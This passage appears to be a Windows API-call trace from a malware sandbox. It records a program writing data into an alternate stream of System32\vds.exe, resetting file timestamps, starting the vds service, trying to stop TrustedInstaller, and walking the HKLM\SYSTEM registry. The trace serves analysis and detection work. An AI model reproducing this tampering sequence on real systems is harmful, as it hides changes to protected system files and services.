lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0225.684] WriteFile (in: hFile=0x154, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0225.685] SetEndOfFile (hFile=0x154) returned 1 [0225.688] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0x84a159cb, dwHighDateTime=0x1cb892b)) returned 1 [0225.688] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0225.688] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0225.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0225.688] NtClose (Handle=0x154) returned 0x0 [0225.688] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe:0" (normalized: "c:\\windows\\system32\\vds.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x248cc, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0225.688] GetLastError () returned 0x2 [0225.688] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe:0" (normalized: "c:\\windows\\system32\\vds.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0225.689] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0225.689] WriteFile (in: hFile=0x154, lpBuffer=0x2530020*, nNumberOfBytesToWrite=0x82400, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2530020*, lpNumberOfBytesWritten=0x36f53c*=0x82400, lpOverlapped=0x0) returned 1 [0225.746] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0225.746] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0225.746] NtClose (Handle=0x154) returned 0x0 [0225.747] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x10) returned 0x8038a0 [0225.747] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0227.132] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0227.132] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0227.132] GetLastError () returned 0x6 [0227.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2530020) returned 1 [0227.135] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0227.136] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0227.136] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0227.136] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0227.136] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0227.136] GetLastError () returned 0x426 [0227.136] CloseServiceHandle (hSCObject=0x803990) returned 1 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0227.137] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0227.137] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.137] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.137] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0227.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.138] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.138] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.138] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0227.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.139] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0227.139] RegCloseKey (hKey=0x80000002) returned 0x0 [0227.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0227.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.140] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.140] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.141] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.141] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0227.141] RegCloseKey (hKey=0x150) returned 0x0 [0227.141] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.142] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) 